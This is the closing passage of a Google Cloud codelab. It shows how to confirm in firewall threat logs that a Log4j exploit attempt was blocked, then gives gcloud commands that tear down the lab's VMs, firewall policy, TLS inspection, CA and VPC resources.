logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise log entries should be seen similar as per below:

Expand the log entries and note that the attacks sent from the client vm to the server were identified and blocked (Apache Log4j Remote Code Execution Vulnerability as per the screenshot below).

You've successfully deployed Cloud NGFW Enterprise with TLS Inspection to block malicious requests.

Proceed to the next section for the clean-up steps.

14. Clean-Up steps

Base Setup Clean-Up

Remove the instances:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Perform the steps below if tagAdmin and tagUsers roles were changed:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Remove the Tag key and values:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Remove the Cloud Firewall Network Policy and association:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Delete the Cloud Router and Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Delete the reserved IP addresses:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association, and TLS Clean-Up

Delete the Security Profile Group and Threat Profile in this order:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Delete the Cloud Firewall endpoint association:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Delete the Cloud Firewall endpoint, which can take about 20 minutes:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Optionally, confirm that the Cloud NGFW endpoint was deleted by running the command below:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

The state for the endpoint should show:

STATE: DELETING

When complete, the endpoint will no longer be listed.

Delete the TLS Policy and Trust Config in this order:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Disable and delete the Root CA and CA Pool:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Subnet and VPC Clean-up

Finally, delete the subnet and VPC network:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Congratulations!

Congratulations, you've successfully completed the Cloud NGFW Enterprise for East-West and Northbound TLS Inspection codelab.